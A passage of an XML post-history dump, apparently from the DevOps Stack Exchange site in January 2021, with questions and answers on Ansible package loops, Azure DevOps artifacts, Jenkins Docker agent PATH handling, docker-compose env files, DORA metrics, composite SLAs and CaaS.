https://www.jenkins.io/doc/book/pipeline/docker/&#xD;&#xA;  [5]: https://plugins.jenkins.io/envinject/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40425" PostHistoryTypeId="4" PostId="13117" RevisionGUID="fc799044-138b-4fff-8310-13c190ce71e9" CreationDate="2021-01-14T08:21:23.260" UserId="25564" Comment="Adding more details." Text="Jenkins declarative pipeline Warning: JENKINS-41339 probably bogus PATH" ContentLicense="CC BY-SA 4.0" />
  <row Id="40426" PostHistoryTypeId="5" PostId="13137" RevisionGUID="2075f63f-e4e1-469f-a0be-06ef40694bac" CreationDate="2021-01-14T08:31:43.983" UserId="354" Comment="expand on the final answer" Text="This can be done with two tasks with loops:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# tasks/packages.yml&#xD;&#xA;- name: pkgs | Ensure Good &#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ item }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;  loop: &quot;{{ packages['present'] }}&quot;&#xD;&#xA;&#xD;&#xA;- name: pkgs | Ensure Bad&#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ item }}&quot;&#xD;&#xA;    state: absent&#xD;&#xA;  loop: &quot;{{ packages['absent'] }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This will loop over all of the items in the list that you define and ensure that they are either `present` or `absent`.&#xD;&#xA;&#xD;&#xA;You could also use a shorthand:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# tasks/packages.yml&#xD;&#xA;- name: pkgs | Ensure Good &#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ packages['present'] }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;&#xD;&#xA;- name: pkgs | Ensure Bad&#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ packages['absent'] }}&quot;&#xD;&#xA;    state: absent&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This would run faster, since you don't have a list of tasks, but a task with a list, but you would lose some visibility into which packages you're actually ensuring the state of.&#xD;&#xA;&#xD;&#xA;Caveats:&#xD;&#xA;&#xD;&#xA;Ensure that there is no overlap between the two lists. One way would be to make an assertion on the lists before you run the task:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: ensure no overlap between good and bad&#xD;&#xA;  assert:&#xD;&#xA;    that: &quot;{{ packages['present'] | intersect(packages['absent'] }} == [] }}&quot;&#xD;&#xA;```&#xD;&#xA;Also ensure that the lists are not empty.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To answer your final question:&#xD;&#xA;&gt; Q: are there best practices about managing the state of &quot;entities&quot; on the configured infrastructure?&#xD;&#xA;&#xD;&#xA;It is usually _my_ practice (I wouldn't call it &quot;best&quot;, but take it for what it's worth) to declare the explicit state of a resource. It's quite difficult to do this exhaustively for packages that should be `absent` - this is something akin to maintaining a &quot;blacklist&quot;. One approach might to be start from a policy and implement specific controls in it. _IE_ for ssh config ensure that protocol v1 is absent, _etc_." ContentLicense="CC BY-SA 4.0" />
  <row Id="40427" PostHistoryTypeId="2" PostId="13138" RevisionGUID="1b6a0ca7-5105-4e72-bc97-e592240f3f0a" CreationDate="2021-01-14T08:37:50.973" UserId="25625" Text="I managed to get Erik's approach working which is great.&#xD;&#xA;&#xD;&#xA;I then wondered if I could simplify it so instead of deleting the content how about put each artifact in a sub folder of the **$(Build.ArtifactStagingDirectory)** So by just appending /Api or /App I could create specific publish folders that I could then push onto the azure pipeline.&#xD;&#xA;&#xD;&#xA;You can then have as many artifacts as you need :)&#xD;&#xA;&#xD;&#xA;The important parts to take from this are that **publishWebProjects** needs to be set to **false** or it defaults to true and then ignores the projects line below, and the **output** path puts the content in a sub folder.&#xD;&#xA;&#xD;&#xA;     # This need to be false in order for the specific project to be published&#xD;&#xA;     publishWebProjects: False&#xD;&#xA;     projects: '**/DevOpsApp.csproj'&#xD;&#xA;     arguments: '--configuration $(BuildConfiguration) --output $(Build.ArtifactStagingDirectory)/App'&#xD;&#xA;&#xD;&#xA;and **pathtoPublish** need to then point to the sub folder&#xD;&#xA;&#xD;&#xA;    pathtoPublish: '$(Build.ArtifactStagingDirectory)/App'&#xD;&#xA;&#xD;&#xA;Full example file below&#xD;&#xA;&#xD;&#xA;    # ASP.NET Core&#xD;&#xA;    # Build and test ASP.NET Core projects targeting .NET Core.&#xD;&#xA;    # Add steps that run tests, create a NuGet package, deploy, and more:&#xD;&#xA;    # https://docs.microsoft.com/azure/devops/pipelines/languages/dotnet-core&#xD;&#xA;    &#xD;&#xA;    trigger:&#xD;&#xA;    - develop&#xD;&#xA;    &#xD;&#xA;    pool:&#xD;&#xA;      vmImage: 'ubuntu-latest'&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;        buildConfiguration: 'Release'&#xD;&#xA;        versionNumber: 1.0.0&#xD;&#xA;    &#xD;&#xA;    name: $(versionNumber)-wip-$(Rev:r)&#xD;&#xA;&#xD;&#xA;    #----------------------------------------------------------&#xD;&#xA;    # Web API Build and Artifact&#xD;&#xA;    #----------------------------------------------------------&#xD;&#xA;&#xD;&#xA;    steps:&#xD;&#xA;    - task: DotNetCoreCLI@2&#xD;&#xA;      displayName: 'Build'&#xD;&#xA;      inputs:&#xD;&#xA;        command: 'build'&#xD;&#xA;        projects: '**/DevOpsApi.csproj'&#xD;&#xA;        arguments: '--configuration $(buildConfiguration)'&#xD;&#xA;    &#xD;&#xA;    - task: DotNetCoreCLI@2&#xD;&#xA;      inputs:&#xD;&#xA;        command: 'test'&#xD;&#xA;        projects: '**/*Tests.csproj'&#xD;&#xA;        arguments: '--configuration $(buildConfiguration)'&#xD;&#xA;        testRunTitle: 'Unit Tests'&#xD;&#xA;    &#xD;&#xA;    # Publish the artifact&#xD;&#xA;    - task: DotNetCoreCLI@2&#xD;&#xA;      inputs:&#xD;&#xA;        command: 'publish'&#xD;&#xA;        # This need to be false in order for the specific project to be published&#xD;&#xA;        publishWebProjects: False&#xD;&#xA;        projects: '**/DevOpsApi.csproj'&#xD;&#xA;        arguments: '--configuration $(BuildConfiguration) --output $(Build.ArtifactStagingDirectory)/Api'&#xD;&#xA;        zipAfterPublish: True&#xD;&#xA;    &#xD;&#xA;    # Publish the artifact for the pipelines to use&#xD;&#xA;    - task: PublishBuildArtifacts@1&#xD;&#xA;      displayName: 'Publishing WebAPI Artifact'&#xD;&#xA;      inputs:&#xD;&#xA;        pathtoPublish: '$(Build.ArtifactStagingDirectory)/Api' &#xD;&#xA;        artifactName: 'TestWebApi-Wip'&#xD;&#xA;    &#xD;&#xA;    #----------------------------------------------------------&#xD;&#xA;    # Web APP Build and Artifact&#xD;&#xA;    #----------------------------------------------------------&#xD;&#xA;&#xD;&#xA;    - task: DotNetCoreCLI@2&#xD;&#xA;      displayName: 'Build'&#xD;&#xA;      inputs:&#xD;&#xA;        command: 'build'&#xD;&#xA;        projects: '**/DevOpsApp.csproj'&#xD;&#xA;        arguments: '--configuration $(buildConfiguration)'&#xD;&#xA;    &#xD;&#xA;    # Publish the artifact&#xD;&#xA;    - task: DotNetCoreCLI@2&#xD;&#xA;      inputs:&#xD;&#xA;        command: 'publish'&#xD;&#xA;        # This need to be false in order for the specific project to be published&#xD;&#xA;        publishWebProjects: False&#xD;&#xA;        projects: '**/DevOpsApp.csproj'&#xD;&#xA;        arguments: '--configuration $(BuildConfiguration) --output $(Build.ArtifactStagingDirectory)/App'&#xD;&#xA;        zipAfterPublish: True&#xD;&#xA;    &#xD;&#xA;    # Publish the artifact for the pipelines to use&#xD;&#xA;    - task: PublishBuildArtifacts@1&#xD;&#xA;      displayName: 'Publishing WebAPP Artifact'&#xD;&#xA;      inputs:&#xD;&#xA;        pathtoPublish: '$(Build.ArtifactStagingDirectory)/App' &#xD;&#xA;        artifactName: 'TestWebApp-Wip'&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40428" PostHistoryTypeId="5" PostId="11014" RevisionGUID="d71032cc-d2e3-40b9-8c57-b498dd778dea" CreationDate="2021-01-14T10:53:40.167" UserId="7715" Comment="added 4 characters in body" Text="The keyword `hosts` is missing. Also colons `:` are needed after the hostnames. Fix the syntax, for example&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;all:&#xD;&#xA;  children:&#xD;&#xA;    control:&#xD;&#xA;      hosts:&#xD;&#xA;        moriarty.server.com:&#xD;&#xA;        toby.server.com:&#xD;&#xA;    managed:&#xD;&#xA;      hosts:&#xD;&#xA;        sherlock.server.com:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;See [How to build your inventory](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html#how-to-build-your-inventory).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40432" PostHistoryTypeId="2" PostId="13140" RevisionGUID="bc088b68-ca5d-4aab-bdca-513f973f935b" CreationDate="2021-01-14T18:01:57.840" UserId="25630" Text="There has been a lot of talk in recent years about the Accelerate book and the DORA metrics.&#xD;&#xA;&#xD;&#xA;As the DORA survey was looking at a wide variety of organisations, teams and cultures all with potentially very different current processes and technologies, the questions asked were fairly general and probably leave a fair bit of wriggle room for teams to interpret things their own way. Which is all fair enough.&#xD;&#xA;&#xD;&#xA;However, I'm specifically trying to understand what change failure rate and mean time to recovery are trying to measure. Are they just trying to measure if the release process is good or if all of the changes in that release are good? &#xD;&#xA;&#xD;&#xA;If I do 10 releases in a row and the release process works smoothly for that and I get no downtime, no manual release tweaks, no alerts, etc...then it looks like I've got a 0% failure rate. But what if there was a relatively subtle bug in that very first release and it doesn't get picked up for 3 days so there is a bug fix going into the next release to fix it. And of course the next release might also have some bugs and so on, so you could say I've got a 100% failure rate due to the bugs.&#xD;&#xA;&#xD;&#xA;My instinct is that I should have a high failure rate in this scenario because although the process on the day of release looks good, it the software itself is not good. Just because you have not tested your release before or immediately after release, it doesn't feel like you should get away with claiming no failures. &#xD;&#xA;&#xD;&#xA;So if I do get a bug that isn't fixed until the next release in say a week's time, then my mean time to recovery might be a week...unless I did a rollback of that initial release?&#xD;&#xA;&#xD;&#xA;What are the common interpretations/implementations of these metrics?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40433" PostHistoryTypeId="1" PostId="13140" RevisionGUID="bc088b68-ca5d-4aab-bdca-513f973f935b" CreationDate="2021-01-14T18:01:57.840" UserId="25630" Text="Definition of change failure rate and mean time to recovery DORA metrics" ContentLicense="CC BY-SA 4.0" />
  <row Id="40434" PostHistoryTypeId="3" PostId="13140" RevisionGUID="bc088b68-ca5d-4aab-bdca-513f973f935b" CreationDate="2021-01-14T18:01:57.840" UserId="25630" Text="&lt;metrics&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40435" PostHistoryTypeId="2" PostId="13141" RevisionGUID="db3fbaaf-bbcd-45f4-9af9-c1221754ac0d" CreationDate="2021-01-14T18:26:11.047" UserId="2845" Text="When I navigate to the URL, there do not appear to be any packages in the repo. Consider trying a mirror like: mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64" ContentLicense="CC BY-SA 4.0" />
  <row Id="40436" PostHistoryTypeId="2" PostId="13142" RevisionGUID="be0b71b4-0735-42ea-9de3-1f5c2a434d50" CreationDate="2021-01-14T20:43:24.470" UserId="25633" Text="Is it possible to substitute (without the use of external tools like `envsubst`) values in an environment file used in docker-compose (using `env_file`) with values on a `.env` file in the folder?&#xD;&#xA;&#xD;&#xA;Say I have this `.env` file:&#xD;&#xA;```ini&#xD;&#xA;REGISTRY=something&#xD;&#xA;TAG=something-else&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now in my `docker-compose.yml` I can have:&#xD;&#xA;```yaml&#xD;&#xA;# ...&#xD;&#xA;   my_service:&#xD;&#xA;      environment:&#xD;&#xA;        - USE_IMAGE:${REGISTRY}/my_image:${TAG}&#xD;&#xA;# ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What I'd like is having a different environment file (say, `myservice.env`), like this:&#xD;&#xA;```ini&#xD;&#xA;USE_IMAGE:${REGISTRY}/my_image:${TAG}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And use it on the compose file like:&#xD;&#xA;```yaml&#xD;&#xA;# ...&#xD;&#xA;   my_service:&#xD;&#xA;      env_file:&#xD;&#xA;        - myservice.env&#xD;&#xA;# ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However by default, docker-compose (which is the one reading the .env file) doesn't seem to be substituting anything on the other files and I get the literal value.&#xD;&#xA;&#xD;&#xA;Is there a way to do this without requiring to have a &quot;rendered&quot; file, directly with docker compose?&#xD;&#xA;&#xD;&#xA;I understand I could make a script to pre-process those files using `envsubst` or something similar, but I'm trying to find a solution without that&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40437" PostHistoryTypeId="1" PostId="13142" RevisionGUID="be0b71b4-0735-42ea-9de3-1f5c2a434d50" CreationDate="2021-01-14T20:43:24.470" UserId="25633" Text="Substitute env_file values with .env values on docker compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="40438" PostHistoryTypeId="3" PostId="13142" RevisionGUID="be0b71b4-0735-42ea-9de3-1f5c2a434d50" CreationDate="2021-01-14T20:43:24.470" UserId="25633" Text="&lt;docker-compose&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40440" PostHistoryTypeId="2" PostId="13143" RevisionGUID="3d6b7a72-5900-44da-a687-595347605011" CreationDate="2021-01-15T05:00:00.053" UserId="25638" Text="I looked at https://devops.stackexchange.com/q/711 and am still not sure how **topography** affects SLA. Suppose a request...&#xD;&#xA;&#xD;&#xA; 1. passes through one instance of Service A, where all Services have SLA `s`&#xD;&#xA; 1. resulting in concurrent work items on Kafka topics K1 and K2, where Kafka has SLA `k`&#xD;&#xA; 1. which get consumed concurrently by Services B1 and B2 respectively (B1 consumes K1; B2 consumes K2)&#xD;&#xA; 1. which both send their results via a third Kafka topic K3&#xD;&#xA; 1. and all 3 services (A, B1, B2) read and write a common DB with SLA `d`&#xD;&#xA;&#xD;&#xA;Suppose this is all in the same availability zone. Here are some questions I have:&#xD;&#xA;&#xD;&#xA; 1. Does the SLA for Kafka only figure into the calculation *once*, because Kafka is either entirely up or entirely down for the AZ? Like, I can have hundreds of different Kafka topics connecting hundreds of server instances, and the SLA impact of using Kafka is no &quot;worse&quot; than my example above?&#xD;&#xA; 2. Does the SLA for AWS ECS microservices also figure into the calculation *once* for the entire AZ, regardless of how many different instances I have? My example has 3 instances.&#xD;&#xA; 3. Is the expected availability for my AZ above simply `= s * k * d` ... or is it something else?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40441" PostHistoryTypeId="1" PostId="13143" RevisionGUID="3d6b7a72-5900-44da-a687-595347605011" CreationDate="2021-01-15T05:00:00.053" UserId="25638" Text="How does topography affect composite SLA?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40442" PostHistoryTypeId="3" PostId="13143" RevisionGUID="3d6b7a72-5900-44da-a687-595347605011" CreationDate="2021-01-15T05:00:00.053" UserId="25638" Text="&lt;amazon-ecs&gt;&lt;kafka&gt;&lt;sla&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40443" PostHistoryTypeId="2" PostId="13144" RevisionGUID="5df53c6d-08aa-43c7-9519-e61874116ce9" CreationDate="2021-01-15T08:41:55.247" UserId="25529" Text="[This post explains that/why environment variables don't propagate to Docker agent][1].&#xD;&#xA;&#xD;&#xA;If you need a custom container, you could define path and whatever else as layers on top of base image in a Dockerfile. Then using that image in pipeline would be what I think is usual way of doing it. You can build that image outside of Jenkins, but it's also possible to [build container from within pipeline too][2] if you want (get Dockerfile from SCM or some other use case).&#xD;&#xA;&#xD;&#xA;In the context of your question, I think you can still use base image, and if you know full path you'd like to set, do that at container (agent) startup with args. But `$PATH` variable won't be available at host to be resolved within container at startup. If you must dynamically set path in container, could adjust it in shells.&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent {&#xD;&#xA;        docker { &#xD;&#xA;            image 'python:3.9'&#xD;&#xA;            // cannot resolve $PATH var in container (becasue HOST does not know what it is).&#xD;&#xA;            args '-e PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/i/know/my/full/path/ahead/of/time'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;        stage('Test') {&#xD;&#xA;            steps {&#xD;&#xA;                &#xD;&#xA;                // as set by args above. Applies to all shells&#xD;&#xA;                sh 'echo $PATH'&#xD;&#xA;                &#xD;&#xA;                // You can also adjust it within container in each shell&#xD;&#xA;                sh '''&#xD;&#xA;                    export PATH=/even/more/path:$PATH&#xD;&#xA;                    echo $PATH&#xD;&#xA;                   '''&#xD;&#xA;&#xD;&#xA;                // But this is back to what's in args in a new shell instance&#xD;&#xA;                sh 'echo $PATH'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.cloudbees.com/hc/en-us/articles/226520788-Control-environment-variables-inside-a-Docker-container&#xD;&#xA;  [2]: https://www.jenkins.io/doc/book/pipeline/docker/#building-containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="40444" PostHistoryTypeId="5" PostId="13144" RevisionGUID="eaa7cd0e-2a3c-4577-b363-47e1d8300e48" CreationDate="2021-01-15T11:28:07.320" UserId="25564" Comment="code example forgotten closing bracket" Text="[This post explains that/why environment variables don't propagate to Docker agent][1].&#xD;&#xA;&#xD;&#xA;If you need a custom container, you could define path and whatever else as layers on top of base image in a Dockerfile. Then using that image in pipeline would be what I think is usual way of doing it. You can build that image outside of Jenkins, but it's also possible to [build container from within pipeline too][2] if you want (get Dockerfile from SCM or some other use case).&#xD;&#xA;&#xD;&#xA;In the context of your question, I think you can still use base image, and if you know full path you'd like to set, do that at container (agent) startup with args. But `$PATH` variable won't be available at host to be resolved within container at startup. If you must dynamically set path in container, could adjust it in shells.&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            docker { &#xD;&#xA;                image 'python:3.9'&#xD;&#xA;                // cannot resolve $PATH var in container (becasue HOST does not know what it is).&#xD;&#xA;                args '-e PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/i/know/my/full/path/ahead/of/time'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Test') {&#xD;&#xA;                steps {&#xD;&#xA;                    &#xD;&#xA;                    // as set by args above. Applies to all shells&#xD;&#xA;                    sh 'echo $PATH'&#xD;&#xA;                    &#xD;&#xA;                    // You can also adjust it within container in each shell&#xD;&#xA;                    sh '''&#xD;&#xA;                        export PATH=/even/more/path:$PATH&#xD;&#xA;                        echo $PATH&#xD;&#xA;                       '''&#xD;&#xA;    &#xD;&#xA;                    // But this is back to what's in args in a new shell instance&#xD;&#xA;                    sh 'echo $PATH'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://support.cloudbees.com/hc/en-us/articles/226520788-Control-environment-variables-inside-a-Docker-container&#xD;&#xA;  [2]: https://www.jenkins.io/doc/book/pipeline/docker/#building-containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="40445" PostHistoryTypeId="24" PostId="13144" RevisionGUID="eaa7cd0e-2a3c-4577-b363-47e1d8300e48" CreationDate="2021-01-15T11:28:07.320" Comment="Proposed by 25564 approved by 40 edit id of 1325" ContentLicense="CC BY-SA 4.0" />
  <row Id="40446" PostHistoryTypeId="5" PostId="13026" RevisionGUID="b937f613-baf6-4d72-b0a2-5b8e09e04e9b" CreationDate="2021-01-15T11:38:57.490" UserId="40" Comment="added 230 characters in body" Text="**TL;DR** &#xD;&#xA;&#xD;&#xA;Yes, CaaS is very much a thing it means Container-Orchestration-as-a-Service. Kubernetes is the [leading technology][1] in this space. &#xD;&#xA;&#xD;&#xA;**Long Version** &#xD;&#xA;&#xD;&#xA;The key to understanding the following progression is the concept of &quot;-as-a-Service&quot;:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;It means you are paying either an internal or external team money to host a service onto which you deploy your business solution. Yes, you can use containers on top of a dedicated hardware service. You can use containers on-top of IaaS. Yet you have to look after the low-level concerns such as installing and patching the operating system. If you are simply renting VMs from a cloud provider you are not renting a container solution as a service. &#xD;&#xA;&#xD;&#xA;When people talk about CaaS they usually mean “Container-Orchestration-as-a-service”. Examples include Amazon Elastic Kubernetes Service, Azure Kubernetes Service, and Google Kubernetes Engine, IBM Cloud Kubernetes Service and Alibaba Container Service for Kubernetes. There is a vast difference between deploying software onto a Kubernetes cluster that someone else set up, secured, then automated for you and having to configure a bunch of IaaS VMs to reliably run containers yourself. High-performance Kubernetes installations use specialist 'single purpose' [operating systems][2] such that the servers are more like appliances than typical VMs. The idea is that the cluster (both OS and Kubernetes software) can be security patched as a rolling upgrade without any downtime of the services hosted on the cluster. &#xD;&#xA;&#xD;&#xA;**History Lesson ;-)**&#xD;&#xA;&#xD;&#xA;The historic position around 2011 before Docker was released in 2013 would have been:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;In that, it is PaaS which, IMHO, is the vague classification that has changed over time with the rise of containers.  Examples of early PaaS solutions that came before containers are the original Heroku, the original CloudFoundry, and early versions of RedHat Openshift. They were “DevOps platforms” before the term DevOps was invented. The original versions used some of the Linux techniques that containers later made famous, but it was an internal detail. The main marketing points made were two-fold. The first was developer productivity of having built-in CI/CD and the second was that the servers were easy to security patch and administer. The servers were treated like sheep and the vendor-supplied service packs to keep them secure.&#xD;&#xA;&#xD;&#xA;The problems with the original PaaS concept was no standardisation, vendor lock-in, little portability, as well as proprietary tooling. They had embedded and proprietary build systems as well as proprietary configuration and deployment mechanisms. Opensource container orchestrators have revolutionised things by fixing those problems. The big open-source PaaS solutions such as OpenShift, CloudFoundry and Mesosphere now all support Kubernetes. Users no longer need to use a proprietary build and deploy pipeline nor propriety configuration mechanisms. They can use a vast number of different tools to build containers that they pushed up to any number of hosted container registries. They can then use the Kubernetes API to deploy into their chosen cloud provider. IMHO the original PaaS concept of “rapidly build, deploy and configure a web app” has standardised into CaaS as the main runtime. &#xD;&#xA;&#xD;&#xA;**More info**:&#xD;&#xA;&#xD;&#xA;if you want to see what you can do with CaaS checkout [my blog on full automation of a start up][3].&#xD;&#xA;&#xD;&#xA;**Update:** &#xD;&#xA;&#xD;&#xA;I found the talks [Stop Calling Knative Serverless! - Doug Davis][4] very informative. At around 2:45 which compares PaaS, with CaaS, with FaaS. The talk introduces KNative and at the end around 32:07 compares KNative to PaaS, CaaS and FaaS. The presentation states that the Kubernetes definition of CaaS is rather bare-bones and missing a lot of &quot;obvious&quot; things if you are familiar with a PaaS. Both KNative and OKD (Openshift) are demonstrating that you can build another style of platform (PaaS, FaaS) on top of the bare-bones Kubernetes CaaS. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.stackrox.com/kubernetes-adoption-security-and-market-share-for-containers/&#xD;&#xA;  [2]: https://docs.openshift.com/container-platform/4.6/architecture/architecture-rhcos.html&#xD;&#xA;  [3]: https://dev.to/simbo1905/git-driven-infrastructure-as-code-on-origin-kubernetes-distribution-4hcj&#xD;&#xA;  [4]: https://www.youtube.com/watch?v=28CqZZFdwBY" ContentLicense="CC BY-SA 4.0" />
  <row Id="40447" PostHistoryTypeId="2" PostId="13145" RevisionGUID="b0bbc273-8231-4bc3-bb8c-e6c4948ee121" CreationDate="2021-01-15T15:25:14.577" UserId="707" Text="If it is even existing so far as of early 2021?&#xD;&#xA;&#xD;&#xA;In Germany, they [look for one][1], though it will be 50% professorship and 50% IT management but obviously in this topic, you have to connect theory and practice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://recruiting.fraunhofer.de/Vacancies/55812/Description/1" ContentLicense="CC BY-SA 4.0" />
  <row Id="40448" PostHistoryTypeId="1" PostId="13145" RevisionGUID="b0bbc273-8231-4bc3-bb8c-e6c4948ee121" CreationDate="2021-01-15T15:25:14.577" UserId="707" Text="What is the first in the world professorship / academic chair dedicated to DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40449" PostHistoryTypeId="3" PostId="13145" RevisionGUID="b0bbc273-8231-4bc3-bb8c-e6c4948ee121" CreationDate="2021-01-15T15:25:14.577" UserId="707" Text="&lt;academia&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40450" PostHistoryTypeId="2" PostId="13146" RevisionGUID="1138f98c-9c87-479a-9fa5-7832e9909a92" CreationDate="2021-01-15T15:51:36.967" UserId="25590" Text="I'm trying to set up a CI pipeline in Azure Devops and have a Virtual Machine in Azure. I tried to configure a CD pipeline from the VM Continuos Delivery Setting and am getting the following warning: &quot;The latest run of the selected build pipeline did not publish a package. Make sure the pipeline publishes a package that contains a deployment script folder as described here.&quot; Is it necessary to set up this package (How do I do that since I can't find any tutorials online?) or is there some other error?&#xD;&#xA;&#xD;&#xA;    Failed to configure continuous delivery. Error: Configuration failed at step: 'Creating assets'. More details: {&#xD;&#xA;      &quot;code&quot;: &quot;VMExtensionHandlerNonTransientError&quot;,&#xD;&#xA;      &quot;message&quot;: &quot;The handler for VM extension type 'Microsoft.VisualStudio.Services.TeamServicesAgentLinux' has reported terminal failure for VM extension 'TeamServicesAgentExtension' with error message: '[ExtensionOperationError] Non-zero exit code: 126, /var/lib/waagent/Microsoft.VisualStudio.Services.TeamServicesAgentLinux-1.21.0.0/AzureRM.py\n[stdout]\n\n\n[stderr]\n/bin/sh: /var/lib/waagent/&#xD;&#xA;&#xD;&#xA;Edit: My gives has the following status message and handler status:" ContentLicense="CC BY-SA 4.0" />
  <row Id="40451" PostHistoryTypeId="1" PostId="13146" RevisionGUID="1138f98c-9c87-479a-9fa5-7832e9909a92" CreationDate="2021-01-15T15:51:36.967" UserId="25590" Text="Azure Continuous Delivery Error: Configuration failed at step: 'Creating assets'" ContentLicense="CC BY-SA 4.0" />
  <row Id="40452" PostHistoryTypeId="3" PostId="13146" RevisionGUID="1138f98c-9c87-479a-9fa5-7832e9909a92" CreationDate="2021-01-15T15:51:36.967" UserId="25590" Text="&lt;continuous-integration&gt;&lt;azure-devops&gt;&lt;azure&gt;&lt;vm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40453" PostHistoryTypeId="5" PostId="13146" RevisionGUID="e5d9a63b-2d3b-484b-b4c9-9251464e750f" CreationDate="2021-01-15T15:56:52.290" UserId="25590" Comment="added 400 characters in body" Text="I'm trying to set up a CI pipeline in Azure Devops and have a Virtual Machine in Azure. I tried to configure a CD pipeline from the VM Continuos Delivery Setting and am getting the following warning: &quot;The latest run of the selected build pipeline did not publish a package. Make sure the pipeline publishes a package that contains a deployment script folder as described here.&quot; Is it necessary to set up this package (How do I do that since I can't find any tutorials online?) or is there some other error?&#xD;&#xA;&#xD;&#xA;    Failed to configure continuous delivery. Error: Configuration failed at step: 'Creating assets'. More details: {&#xD;&#xA;      &quot;code&quot;: &quot;VMExtensionHandlerNonTransientError&quot;,&#xD;&#xA;      &quot;message&quot;: &quot;The handler for VM extension type 'Microsoft.VisualStudio.Services.TeamServicesAgentLinux' has reported terminal failure for VM extension 'TeamServicesAgentExtension' with error message: '[ExtensionOperationError] Non-zero exit code: 126, /var/lib/waagent/Microsoft.VisualStudio.Services.TeamServicesAgentLinux-1.21.0.0/AzureRM.py\n[stdout]\n\n\n[stderr]\n/bin/sh: /var/lib/waagent/&#xD;&#xA;&#xD;&#xA;Edit: My TeamServicesAgentExtension gives has the following status message and handler status:&#xD;&#xA;&#xD;&#xA;-Status message: [ExtensionOperationError] Non-zero exit code: 126, /var/lib/waagent/Microsoft.VisualStudio.Services.TeamServicesAgentLinux-1.21.0.0/AzureRM.py [stdout] [stderr] /bin/sh: /var/lib/waagent/Microsoft.VisualStudio.Services.TeamServicesAgentLinux-1.21.0.0/AzureRM.py: /usr/bin/python: bad interpreter: No such file or directory&#xD;&#xA;&#xD;&#xA;-Handler status: Not Ready" ContentLicense="CC BY-SA 4.0" />
  <row Id="40454" PostHistoryTypeId="5" PostId="13143" RevisionGUID="c1ad7ca8-625b-4efd-9e2a-d0688a5b77df" CreationDate="2021-01-15T17:16:59.527" UserId="25638" Comment="copy-editing" Text="I looked at https://devops.stackexchange.com/q/711 and am still not sure how **topography** affects SLA. Suppose a request...&#xD;&#xA;&#xD;&#xA; 1. passes through one instance of Service A, where all Services have SLA `s`&#xD;&#xA; 1. resulting in concurrent work items on Kafka topics K1 and K2, where Kafka has SLA `k`&#xD;&#xA; 1. which get consumed concurrently by Services B1 and B2 respectively (B1 consumes K1; B2 consumes K2)&#xD;&#xA; 1. which both send their results via a third Kafka topic K3&#xD;&#xA; 1. and all 3 services (A, B1, B2) read and write a common DB with SLA `d`&#xD;&#xA;&#xD;&#xA;Suppose this is all in the same availability zone. Here are some questions I have:&#xD;&#xA;&#xD;&#xA; 1. Does the SLA for Kafka only figure into the calculation *once*? I'm guessing Kafka is either up or down for the entire AZ, so it doesn't matter how many Kafka topics I use, connecting however many components.&#xD;&#xA; 2. Does the SLA for AWS ECS microservices figure into the calculation as many times as they appear on my execution path according to [the SLA question referenced above][1] which explains how to calculate for serial and parallel paths?&#xD;&#xA; 3. Does the SLA for the DB appear along each execution path *separately* like in #2 above for the microservices? Or is it more like Kafka, affecting the entire AZ?&#xD;&#xA;&#xD;&#xA;  [1]: 